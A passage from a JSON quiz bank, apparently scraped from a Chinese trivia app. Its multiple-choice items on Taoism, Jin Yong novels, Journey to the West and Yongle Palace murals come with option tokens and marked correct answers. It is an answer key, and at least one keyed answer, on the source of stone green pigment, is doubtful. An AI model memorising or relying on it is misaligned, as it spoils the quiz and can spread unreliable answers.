16:47:28","status":"1"},{"questionId":"6001430907","questionIndex":"3","questionStem":"王重阳为保护九阴真经临死前最后击败了谁?","options":"[{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8VCFswQUzrW5wog\",\"optionDesc\":\"完颜洪烈\"},{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8DGcWlXProCuvTY\",\"optionDesc\":\"杨康\"},{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8-Lf3MQvHP90wOA\",\"optionDesc\":\"欧阳锋\"}]","questionToken":"LcQSx0BQjze5sWz-3ahHoaiY8E3enzZqJeuOg9lTXhPgKLMXndbiWHJtwkivrwmK07pEDUMonsqjrrfWmb5GbWvJzQCyAg","correct":"{\"optionId\":\"LcQSx0BQjze5sWyuzuBc8-Lf3MQvHP90wOA\",\"optionDesc\":\"欧阳锋\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6001430908","questionIndex":"1","questionStem":"为克制全真派,林朝英创立了哪个门派?","options":"[{\"optionId\":\"LcQSx0BQjze5vmyuzuBc83XbLCrN7F6bzV_Q\",\"optionDesc\":\"古墓派\"},{\"optionId\":\"LcQSx0BQjze5vmyuzuBc8VC-TlQUypMQ-D8a\",\"optionDesc\":\"峨眉派\"},{\"optionId\":\"LcQSx0BQjze5vmyuzuBc8NY3pbMvRxOmiDnx\",\"optionDesc\":\"华山派\"}]","questionToken":"LcQSx0BQjze5vmz83ahHoYmoVK9miAGMlot42lrn1WWfj2CehEra18dCjaBqOhUIQUFI2Nyr2O8WnoOtEssT2Xann-JeZw","correct":"{\"optionId\":\"LcQSx0BQjze5vmyuzuBc83XbLCrN7F6bzV_Q\",\"optionDesc\":\"古墓派\"}","create_time":"2/2/2021 16:48:19","update_time":"2/2/2021 16:48:19","status":"1"},{"questionId":"6001430909","questionIndex":"5","questionStem":"哪个朝代在历史上没有大规模推崇过道教?","options":"[{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8bJ7BbaqFXFW6gg\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8EdRENTBf8CaKDg\",\"optionDesc\":\"蒙元\"},{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8xAaDNyo8gPyGAs\",\"optionDesc\":\"清朝\"}]","questionToken":"LcQSx0BQjze5v2z43ahHpqjeKIkRi_O19Aa4ToZtrEOg3nw5LTBphBbWgTaSlhGeQcs7Pj_LEvp9uLwq8cUpPw6KXjj50w","correct":"{\"optionId\":\"LcQSx0BQjze5v2yuzuBc8xAaDNyo8gPyGAs\",\"optionDesc\":\"清朝\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430910","questionIndex":"3","questionStem":"以下哪个宗教是在中国本土诞生的?","options":"[{\"optionId\":\"LcQSx0BQjze4tmyuzuBc8PiImvxLpCgF9bw\",\"optionDesc\":\"佛教\"},{\"optionId\":\"LcQSx0BQjze4tmyuzuBc8aOAaOq4K6eoaPs\",\"optionDesc\":\"明教\"},{\"optionId\":\"LcQSx0BQjze4tmyuzuBc81YViLmOffIDSEI\",\"optionDesc\":\"道教\"}]","questionToken":"LcQSx0BQjze4tmz-3ahHpjk39eMWLD99vqru-NdbyX3vdu_TgwM2VXhamnKHlvG5YLgSLmAOf33J2KxWkFimcODEauzdBQ","correct":"{\"optionId\":\"LcQSx0BQjze4tmyuzuBc81YViLmOffIDSEI\",\"optionDesc\":\"道教\"}","create_time":"2/2/2021 16:48:32","update_time":"2/2/2021 16:48:32","status":"1"},{"questionId":"6001430911","questionIndex":"2","questionStem":"王重阳为了聚集义军和江湖豪侠而建造了?","options":"[{\"optionId\":\"LcQSx0BQjze4t2yuzuBc8fhz4LAhp5VV7JI1\",\"optionDesc\":\"重阳宫\"},{\"optionId\":\"LcQSx0BQjze4t2yuzuBc827fbEuQpDG9OKUi\",\"optionDesc\":\"活死人墓\"},{\"optionId\":\"LcQSx0BQjze4t2yuzuBc8JXS6HY2TZIJejRo\",\"optionDesc\":\"聚贤庄\"}]","questionToken":"LcQSx0BQjze4t2z_3ahHoeMjRacbVdZ2UYdzMVBan_8eUlsS24JRvBY0Zffw6OyHY9mhxJlOMaLdGCF0xl_9SOumzznkRg","correct":"{\"optionId\":\"LcQSx0BQjze4t2yuzuBc827fbEuQpDG9OKUi\",\"optionDesc\":\"活死人墓\"}","create_time":"2/2/2021 16:48:17","update_time":"2/2/2021 16:48:17","status":"1"},{"questionId":"6001430912","questionIndex":"4","questionStem":"王重阳弟子丘处机被后世尊称为?","options":"[{\"optionId\":\"LcQSx0BQjze4tGyuzuBc8BrpNpOlPRKqsFf4\",\"optionDesc\":\"长生真人\"},{\"optionId\":\"LcQSx0BQjze4tGyuzuBc86KbV9nmR6oKFP3n\",\"optionDesc\":\"长春真人\"},{\"optionId\":\"LcQSx0BQjze4tGyuzuBc8ZKhW0k2jnH4n1TG\",\"optionDesc\":\"丹阳真人\"}]","questionToken":"LcQSx0BQjze4tGz53ahHoRpfn-h2_rFWufP2gKAzHR_1K_n1JCJC3m8kqlAOlaVDE7JHG184Y8R8qODly8anMDcRQm4vhA","correct":"{\"optionId\":\"LcQSx0BQjze4tGyuzuBc86KbV9nmR6oKFP3n\",\"optionDesc\":\"长春真人\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6001430913","questionIndex":"4","questionStem":"西游记中,太上老君的哪位童子变成了妖精?","options":"[{\"optionId\":\"LcQSx0BQjze4tWyuzuBc8NzrFR_cxE120rNFUA\",\"optionDesc\":\"黄眉大王\"},{\"optionId\":\"LcQSx0BQjze4tWyuzuBc83kWaimXtdblbuyuLw\",\"optionDesc\":\"金角大王、银角大王\"},{\"optionId\":\"LcQSx0BQjze4tWyuzuBc8f6bmOw1Rw3tkOL2yA\",\"optionDesc\":\"红孩儿\"}]","questionToken":"LcQSx0BQjze4tWz53ahHoSkzcPixf7C0EIrWptPUjjoBugDJY3FlEwEKzVMjKYDG7TPfqSZXLLmC2Db0_SO5l_3qaU4Kow","correct":"{\"optionId\":\"LcQSx0BQjze4tWyuzuBc83kWaimXtdblbuyuLw\",\"optionDesc\":\"金角大王、银角大王\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6001430914","questionIndex":"3","questionStem":"西游记中,孙悟空如何获得火眼金睛的?","options":"[{\"optionId\":\"LcQSx0BQjze4smyuzuBc8ZltAtmcZ7RljhQ\",\"optionDesc\":\"进入紫金红葫芦\"},{\"optionId\":\"LcQSx0BQjze4smyuzuBc8GjQUMeEM13R950\",\"optionDesc\":\"吃下仙丹\"},{\"optionId\":\"LcQSx0BQjze4smyuzuBc8xSsdAkiGHHOqWw\",\"optionDesc\":\"进入炼丹炉\"}]","questionToken":"LcQSx0BQjze4smz-3ahHoXkToQdPw2gMP5nCUm2wJuuLQiYGnrFg8F9XgzXC5hqjO_xwJAtQa7hj73XTMlLd12JIka_kgg","correct":"{\"optionId\":\"LcQSx0BQjze4smyuzuBc8xSsdAkiGHHOqWw\",\"optionDesc\":\"进入炼丹炉\"}","create_time":"2/2/2021 16:48:11","update_time":"2/2/2021 16:48:11","status":"1"},{"questionId":"6001430915","questionIndex":"5","questionStem":"下列哪个不是道教宗教建筑?","options":"[{\"optionId\":\"LcQSx0BQjze4s2yuzuBc838A4L7baBb5fc23\",\"optionDesc\":\"北京雍和宫\"},{\"optionId\":\"LcQSx0BQjze4s2yuzuBc8Bf79keiA44pDX4I\",\"optionDesc\":\"陕西西安重阳宫\"},{\"optionId\":\"LcQSx0BQjze4s2yuzuBc8f1bhGTnSVT7u2TB\",\"optionDesc\":\"山西芮城永乐宫\"}]","questionToken":"LcQSx0BQjze4s2z43ahHpn5ZvoQZrPKaxiJGUGmhRZ2Pq3jlxjQ3_GSUrTsM9aXewpzpk2mVUGEuZVg1G1EwoMDmJW5VZw","correct":"{\"optionId\":\"LcQSx0BQjze4s2yuzuBc838A4L7baBb5fc23\",\"optionDesc\":\"北京雍和宫\"}","create_time":"2/2/2021 16:48:40","update_time":"2/2/2021 16:48:40","status":"1"},{"questionId":"6001430916","questionIndex":"2","questionStem":"下列哪座名山不是道教名山?","options":"[{\"optionId\":\"LcQSx0BQjze4sGyuzuBc8ajZ9UhXzrw459SzCg\",\"optionDesc\":\"武当山\"},{\"optionId\":\"LcQSx0BQjze4sGyuzuBc8MQDejhLWA5rb7B9tA\",\"optionDesc\":\"龙虎山\"},{\"optionId\":\"LcQSx0BQjze4sGyuzuBc818TbTNQBm-4wtMDhQ\",\"optionDesc\":\"普陀山\"}]","questionToken":"LcQSx0BQjze4sGz_3ahHoeu0zvNHNjM72pUk4mXQ-98p5CTWx0wcVL7_Abb9brWJAhPlUEx14FbET9O1Dci7CKyFaSzKhg","correct":"{\"optionId\":\"LcQSx0BQjze4sGyuzuBc818TbTNQBm-4wtMDhQ\",\"optionDesc\":\"普陀山\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430917","questionIndex":"3","questionStem":"金庸小说中,王重阳在哪修为一代宗师的?","options":"[{\"optionId\":\"LcQSx0BQjze4sWyuzuBc8Itt10k_WFX_pjjmlw\",\"optionDesc\":\"青城山\"},{\"optionId\":\"LcQSx0BQjze4sWyuzuBc8SU3j--mC2X1yPWQng\",\"optionDesc\":\"武当山\"},{\"optionId\":\"LcQSx0BQjze4sWyuzuBc821WvxhnMYHlTei_2g\",\"optionDesc\":\"终南山\"}]","questionToken":"LcQSx0BQjze4sWz-3ahHpo_S_msuzFWEAqWFrbFrgyEYmByj1Aq-olNwtuhCA5kh5hyu5CVb3e0OypOuCuw3cOPTWEEj3g","correct":"{\"optionId\":\"LcQSx0BQjze4sWyuzuBc821WvxhnMYHlTei_2g\",\"optionDesc\":\"终南山\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430918","questionIndex":"3","questionStem":"在道教中,相传太上老君在人间的化身是?","options":"[{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8d9nl6MYl0LAhcg1\",\"optionDesc\":\"惠子\"},{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8EUBODE07iAjs9F7\",\"optionDesc\":\"庄子\"},{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8xWDVpzIsYAfd1pH\",\"optionDesc\":\"老子\"}]","questionToken":"LcQSx0BQjze4vmz-3ahHoWmO2jjJ8NvDx1yvvEAE7qCFO2lFbMK02PoUQyg-8LcQFOOl_kFH0QYOAXWgo0PR2ra82hsSKg","correct":"{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8xWDVpzIsYAfd1pH\",\"optionDesc\":\"老子\"}","create_time":"2/2/2021 16:47:54","update_time":"2/2/2021 16:47:54","status":"1"},{"questionId":"6001430919","questionIndex":"1","questionStem":"在道教中,道士去世被委婉地称作?","options":"[{\"optionId\":\"LcQSx0BQjze4v2yuzuBc8YvCbQLo2Nt3Itrt\",\"optionDesc\":\"涅槃\"},{\"optionId\":\"LcQSx0BQjze4v2yuzuBc8FLtQKWeaBkgMeQU\",\"optionDesc\":\"升天\"},{\"optionId\":\"LcQSx0BQjze4v2yuzuBc84GCUPSN7G7PtrxP\",\"optionDesc\":\"羽化\"}]","questionToken":"LcQSx0BQjze4v2z83ahHoWPqz0LMQefhtgrq_vpZXi8Qy8qUUmP6xPCYITXqO8UYNAR1wHEednODz-vNipr20OMxxE-lOA","correct":"{\"optionId\":\"LcQSx0BQjze4v2yuzuBc84GCUPSN7G7PtrxP\",\"optionDesc\":\"羽化\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6001430920","questionIndex":"5","questionStem":"以下哪处文化遗产中没有壁画?","options":"[{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8wV-QSAr-7kAbU0z\",\"optionDesc\":\"马王堆汉墓\"},{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8CZeQ1HXtqQjoj71\",\"optionDesc\":\"敦煌莫高窟\"},{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8bFant1xlQ-If8Yy\",\"optionDesc\":\"永乐宫\"}]","questionToken":"LcQSx0BQjze7tmz43ahHpvJDN6SOfGYuxL0R2-se8X8H3RZ5sb6RtfQt8ee8XyIWkSQ4k3RRqMQHKEmppA5QsspCaCbrUg","correct":"{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8wV-QSAr-7kAbU0z\",\"optionDesc\":\"马王堆汉墓\"}","create_time":"2/2/2021 16:48:11","update_time":"2/2/2021 16:48:11","status":"1"},{"questionId":"6001430921","questionIndex":"4","questionStem":"传统壁画中的石绿色是哪种矿石研磨得到的?","options":"[{\"optionId\":\"LcQSx0BQjze7t2yuzuBc8MTxg-gS00Kjp6M\",\"optionDesc\":\"黑曜石\"},{\"optionId\":\"LcQSx0BQjze7t2yuzuBc8Q7iYYpD2DxN2xA\",\"optionDesc\":\"青金石\"},{\"optionId\":\"LcQSx0BQjze7t2yuzuBc89XOtUS3XQ_rFCg\",\"optionDesc\":\"绿松石\"}]","questionToken":"LcQSx0BQjze7t2z53ahHpmAsFf8nQxeGC389PxHXOQXCssBAptHw6pOH9zcL1q-Lrj1lrHPqt5j46hN5IK8gNhokjliflA","correct":"{\"optionId\":\"LcQSx0BQjze7t2yuzuBc89XOtUS3XQ_rFCg\",\"optionDesc\":\"绿松石\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6001430922","questionIndex":"4","questionStem":"永乐宫壁画中不包括以下哪种颜色?","options":"[{\"optionId\":\"LcQSx0BQjze7tGyuzuBc8J_fxZ_Am6LXVA\",\"optionDesc\":\"石绿\"},{\"optionId\":\"LcQSx0BQjze7tGyuzuBc89TaoPmxyiGv9w\",\"optionDesc\":\"钛白\"},{\"optionId\":\"LcQSx0BQjze7tGyuzuBc8b4kOiabl6NhtA\",\"optionDesc\":\"朱砂\"}]","questionToken":"LcQSx0BQjze7tGz53ahHochITXdbHjFENp5gnnzCY7daCjrkV4R_G2wFnJDNExCOG7FX_DK2udeVx-XdsxczvcqFVzO7tA","correct":"{\"optionId\":\"LcQSx0BQjze7tGyuzuBc89TaoPmxyiGv9w\",\"optionDesc\":\"钛白\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430923","questionIndex":"3","questionStem":"永乐宫壁画中不包括哪个内容?","options":"[{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8Ux9cU5UvrQ7s5c\",\"optionDesc\":\"瑞兽\"},{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8z5jlBav8_XWTJQ\",\"optionDesc\":\"战争\"},{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8LhI6lj3ODPQbJg\",\"optionDesc\":\"宴饮\"}]","questionToken":"LcQSx0BQjze7tWz-3ahHoX4W2wGzTbD9WSl9VAu4Kywx8vCsGpyufLZl0YbrmMNrUHEVMWhsKXnFbuxIChCbHcZ3VHcu8w","correct":"{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8z5jlBav8_XWTJQ\",\"optionDesc\":\"战争\"}","create_time":"2/2/2021 16:47:58","update_time":"2/2/2021 16:47:58","status":"1"},{"questionId":"6001430924","questionIndex":"4","questionStem":"请问中国单幅面积最大的壁画是?","options":"[{\"optionId\":\"LcQSx0BQjze7smyuzuBc8Xby20mKGCV7TFDA\",\"optionDesc\":\"《鹿王本生图》\"},{\"optionId\":\"LcQSx0BQjze7smyuzuBc8FthRYpJviyTom7-\",\"optionDesc\":\"《五台山图》\"},{\"optionId\":\"LcQSx0BQjze7smyuzuBc83RWfdMGlFsIprBW\",\"optionDesc\":\"《朝元图》\"}]","questionToken":"LcQSx0BQjze7smz53ahHpj1FJazKMJ_rvyytvoExJRVuVGQPHuKMw07FfeZYxgaWlDIpQmvm9A9WjSGpb_HaMwtGRB8vPA","correct":"{\"optionId\":\"LcQSx0BQjze7smyuzuBc83RWfdMGlFsIprBW\",\"optionDesc\":\"《朝元图》\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430925","questionIndex":"3","questionStem":"哪位画家的风格没有对永乐宫壁画产生影响?","options":"[{\"optionId\":\"LcQSx0BQjze7s2yuzuBc8GiLYyd3G7pzW_sw\",\"optionDesc\":\"吴道子\"},{\"optionId\":\"LcQSx0BQjze7s2yuzuBc8c626FYE7bXXoTNj\",\"optionDesc\":\"顾恺之\"},{\"optionId\":\"LcQSx0BQjze7s2yuzuBc83o2ycD7czWk0IhL\",\"optionDesc\":\"唐伯虎\"}]","questionToken":"LcQSx0BQjze7s2z-3ahHoWZbJWFuO_dORka5cn3gAR8ZAMl6R7e5r3x2Hu8y86x4cMMkt_tesBd-lSFxGmTPOZAKrpfXkw","correct":"{\"optionId\":\"LcQSx0BQjze7s2yuzuBc83o2ycD7czWk0IhL\",\"optionDesc\":\"唐伯虎\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6001430926","questionIndex":"1","questionStem":"永乐宫壁画主要完成于哪个朝代?","options":"[{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8KWj8u8UIbHXhw\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8zu455HStdWjLQ\",\"optionDesc\":\"元朝\"},{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8YqnK-b9oHJh1g\",\"optionDesc\":\"唐朝\"}]","questionToken":"LcQSx0BQjze7sGz83ahHob6Lpp_JNqVQXx6CQIg8lAb9AbGkqACsEMY5CfIGWv1FLe3QRDGT6TVngz6Q51x7R-_iXQcGlQ","correct":"{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8zu455HStdWjLQ\",\"optionDesc\":\"元朝\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6001430927","questionIndex":"2","questionStem":"被尊称画圣的中国画家是?","options":"[{\"optionId\":\"LcQSx0BQjze7sWyuzuBc8RuVjUZKiIT_tg\",\"optionDesc\":\"顾恺之\"},{\"optionId\":\"LcQSx0BQjze7sWyuzuBc88mowLX0zNvmaA\",\"optionDesc\":\"吴道子\"},{\"optionId\":\"LcQSx0BQjze7sWyuzuBc8Du9zMwIesNBmg\",\"optionDesc\":\"赵佶\"}]","questionToken":"LcQSx0BQjze7sWz_3ahHofIlY-SULJM62Sr-E5XiQOD0OasL4bPMjdPoFGXfDPfwWfCKevH77oF5kJ8MUZhN6ifCBAw_YA","correct":"{\"optionId\":\"LcQSx0BQjze7sWyuzuBc88mowLX0zNvmaA\",\"optionDesc\":\"吴道子\"}","create_time":"2/2/2021 16:48:09","update_time":"2/2/2021 16:48:09","status":"1"},{"questionId":"6001430928","questionIndex":"5","questionStem":"被称作“书画皇帝”的北宋皇帝是?","options":"[{\"optionId\":\"LcQSx0BQjze7vmyuzuBc8bFrllyIPOvbDTrE7A\",\"optionDesc\":\"宋仁宗\"},{\"optionId\":\"LcQSx0BQjze7vmyuzuBc86Q30rlXx8YBW0HSGA\",\"optionDesc\":\"宋徽宗\"},{\"optionId\":\"LcQSx0BQjze7vmyuzuBc8BJ-pHJDyy0x8me_1w\",\"optionDesc\":\"宋哲宗\"}]","questionToken":"LcQSx0BQjze7vmz43ahHpqMPxbjfytGqVz8Lhwz-nUdZkBpJB_Jfx5oJxkTWZYw21T7xyfDAPuoxGDPce10Frl9ZcgnKgA","correct":"{\"optionId\":\"LcQSx0BQjze7vmyuzuBc86Q30rlXx8YBW0HSGA\",\"optionDesc\":\"宋徽宗\"}","create_time":"2/2/2021 16:47:33","update_time":"2/2/2021 16:47:33","status":"1"},{"questionId":"6001430929","questionIndex":"2","questionStem":"中国宗教壁画中,头像背后的光圈被称作?","options":"[{\"optionId\":\"LcQSx0BQjze7v2yuzuBc8OkTaOOC5T2j9OcpqQ\",\"optionDesc\":\"光轮\"},{\"optionId\":\"LcQSx0BQjze7v2yuzuBc8QvjQBNHKJ5rPKaABw\",\"optionDesc\":\"背光\"},{\"optionId\":\"LcQSx0BQjze7v2yuzuBc81z89PSybsmaP5QaoA\",\"optionDesc\":\"头光\"}]","questionToken":"LcQSx0BQjze7v2z_3ahHpqwD5LOHD28LG850S2If5paHnu3d31huvow_eFcbnHmdW1yoq5dmvMbqd77_QN3AluiwwEa_7w","correct":"{\"optionId\":\"LcQSx0BQjze7v2yuzuBc81z89PSybsmaP5QaoA\",\"optionDesc\":\"头光\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430930","questionIndex":"2","questionStem":"永乐宫壁画属于什么主题的绘画?","options":"[{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8SL0ee0Muv-yeF3eHg\",\"optionDesc\":\"花鸟画\"},{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8GRJNbT5RKzMf5aZYg\",\"optionDesc\":\"文人画\"},{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8-jps3KL2QoTBYethQ\",\"optionDesc\":\"宗教绘画\"}]","questionToken":"LcQSx0BQjze6tmz_3ahHoXg8wd7iHH7xF5E-xlhHjKKxRqlQ3AONJcruI1FYSoA2ply16eq0nIIrxQs-UsEIBOxfyz3Bbg","correct":"{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8-jps3KL2QoTBYethQ\",\"optionDesc\":\"宗教绘画\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430931","questionIndex":"4","questionStem":"永乐宫壁画展现了哪个时代人们的生活?","options":"[{\"optionId\":\"LcQSx0BQjze6t2yuzuBc8fYQWgLbdtiG5iWR7w\",\"optionDesc\":\"隋唐时期\"},{\"optionId\":\"LcQSx0BQjze6t2yuzuBc8PpzzylEtcUaQPoa3g\",\"optionDesc\":\"明清时期\"},{\"optionId\":\"LcQSx0BQjze6t2yuzuBc80KO8Lg2KX9IOMWrsw\",\"optionDesc\":\"宋元时期\"}]","questionToken":"LcQSx0BQjze6t2z53ahHoTHm56rfcmjBO7VxbSRPMSqD2hd_SLOEwqjTnXculTds3QEwzg_OxznnQhxspYpGsPN_RWPs1g","correct":"{\"optionId\":\"LcQSx0BQjze6t2yuzuBc80KO8Lg2KX9IOMWrsw\",\"optionDesc\":\"宋元时期\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"6001430932","questionIndex":"2","questionStem":"以下哪种艺术形式不属于中国传统绘画?","options":"[{\"optionId\":\"LcQSx0BQjze6tGyuzuBc8dpgum6-L-mLBtAzQA\",\"optionDesc\":\"壁画\"},{\"optionId\":\"LcQSx0BQjze6tGyuzuBc8MQ8LIpS3PA1aSS9Ww\",\"optionDesc\":\"绢画\"},{\"optionId\":\"LcQSx0BQjze6tGyuzuBc852hN01mqK7yIQyPsQ\",\"optionDesc\":\"蛋彩画\"}]","questionToken":"LcQSx0BQjze6tGz_3ahHpktU0BZvQM72aAyzzw4_Uoodt4VM_i7_HUZkGCz0qWoqe4MSfC1tc-m23UG2aIgJAL7tb4Nsog","correct":"{\"optionId\":\"LcQSx0BQjze6tGyuzuBc852hN01mqK7yIQyPsQ\",\"optionDesc\":\"蛋彩画\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001430933","questionIndex":"3","questionStem":"以下哪幅中国宗教绘画作品是道教神仙主题?","options":"[{\"optionId\":\"LcQSx0BQjze6tWyuzuBc89rKHpfMM0M5JLd3wg\",\"optionDesc\":\"《八十七神仙卷》\"},{\"optionId\":\"LcQSx0BQjze6tWyuzuBc8ZaBUbyUhUwWsCEWIw\",\"optionDesc\":\"《送子天王图》\"},{\"optionId\":\"LcQSx0BQjze6tWyuzuBc8BGwKuYLQVGxwoEYLg\",\"optionDesc\":\"《维摩诘经变图》\"}]","questionToken":"LcQSx0BQjze6tWz-3ahHpkuurEM-R1ZNGoxI-wp9ZIi5DDtdd1l9hx3ccvSbVANBSTKqguCcYAtNIoeYCXJcprJzc0QU1Q","correct":"{\"optionId\":\"LcQSx0BQjze6tWyuzuBc89rKHpfMM0M5JLd3wg\",\"optionDesc\":\"《八十七神仙卷》\"}","create_time":"2/2/2021 16:48:07","update_time":"2/2/2021 16:48:07","status":"1"},{"questionId":"6001430934","questionIndex":"1","questionStem":"被称作中国青绿山水画的巅峰之作是?","options":"[{\"optionId\":\"LcQSx0BQjze6smyuzuBc8RtQEijemi8H_SNK\",\"optionDesc\":\"《富春山居图》\"},{\"optionId\":\"LcQSx0BQjze6smyuzuBc881kWtiyENGLGDz7\",\"optionDesc\":\"《千里江山图》\"},{\"optionId\":\"LcQSx0BQjze6smyuzuBc8IQmI5QUaZfo_Cqk\",\"optionDesc\":\"《溪山行旅图》\"}]","questionToken":"LcQSx0BQjze6smz83ahHpuv6dyjTSVpK-Kmvom1tyr4HsKz9-yINUqNio3w3Pkra46lIIMx2HwTlLO65StR1ui5EmFcVIg","correct":"{\"optionId\":\"LcQSx0BQjze6smyuzuBc881kWtiyENGLGDz7\",\"optionDesc\":\"《千里江山图》\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430935","questionIndex":"2","questionStem":"中国壁画最多的文化遗产是?","options":"[{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8XLSGQHVBOl9beya\",\"optionDesc\":\"永乐宫\"},{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8_YBFyCG1SMvZZi5\",\"optionDesc\":\"莫高窟\"},{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8D2qi7gdzWV5fMru\",\"optionDesc\":\"云冈石窟\"}]","questionToken":"LcQSx0BQjze6s2z_3ahHoT-LXxuBD6JRcwQmjSw8GuyDBFx-YWzRWgSvpC4116ohaSbB02ahVrQpk2y9qeTmSeNFgbIIRQ","correct":"{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8_YBFyCG1SMvZZi5\",\"optionDesc\":\"莫高窟\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"6001430936","questionIndex":"4","questionStem":"绘画的三原色是?","options":"[{\"optionId\":\"LcQSx0BQjze6sGyuzuBc87ZtJ2hVqV_kdclP\",\"optionDesc\":\"红、黄、蓝\"},{\"optionId\":\"LcQSx0BQjze6sGyuzuBc8Ln0iiR-c2OITah_\",\"optionDesc\":\"绿、红、橙\"},{\"optionId\":\"LcQSx0BQjze6sGyuzuBc8eHBhBeMIevWNlcY\",\"optionDesc\":\"橙、绿、紫\"}]","questionToken":"LcQSx0BQjze6sGz53ahHobiVzXd8eR5uX2J7AT0HttouXlBC6ke09iurmpKrU32cY84vn6t3OGpxFEjonfsys1r3WZ8dfQ","correct":"{\"optionId\":\"LcQSx0BQjze6sGyuzuBc87ZtJ2hVqV_kdclP\",\"optionDesc\":\"红、黄、蓝\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6001430937","questionIndex":"3","questionStem":"中国画中“四君子画”的“四君子”是指?","options":"[{\"optionId\":\"LcQSx0BQjze6sWyuzuBc88KvgspdR1MLU6Zx\",\"optionDesc\":\"梅、兰、竹、菊\"},{\"optionId\":\"LcQSx0BQjze6sWyuzuBc8IjxdAF1G3LmQL3j\",\"optionDesc\":\"梅、兰、桃、菊\"},{\"optionId\":\"LcQSx0BQjze6sWyuzuBc8XIy2MHjI5Bt2BCV\",\"optionDesc\":\"桃、兰、竹、菊\"}]","questionToken":"LcQSx0BQjze6sWz-3ahHoWkO9gwTZwOJQe3NnazklSj1Z-69Fn3KDu9D7R-61HEOugPlNpcqfyMvtRHnA1-ixsIHWDXdvQ","correct":"{\"optionId\":\"LcQSx0BQjze6sWyuzuBc88KvgspdR1MLU6Zx\",\"optionDesc\":\"梅、兰、竹、菊\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430938","questionIndex":"5","questionStem":"红色的对比色是?","options":"[{\"optionId\":\"LcQSx0BQjze6vmyuzuBc85vKxtJW3ORl2ETL\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcQSx0BQjze6vmyuzuBc8Smb6wvureBRNnb9\",\"optionDesc\":\"紫色\"},{\"optionId\":\"LcQSx0BQjze6vmyuzuBc8NqQo94UmQmMNzBc\",\"optionDesc\":\"黄色\"}]","questionToken":"LcQSx0BQjze6vmz43ahHpqXUiXOBv5o0ZILfBZLKe_yGf37KASwii1QT8wMMdMTUUTab6RBIenEanHxVUONSD22DSXjwMA","correct":"{\"optionId\":\"LcQSx0BQjze6vmyuzuBc85vKxtJW3ORl2ETL\",\"optionDesc\":\"绿色\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 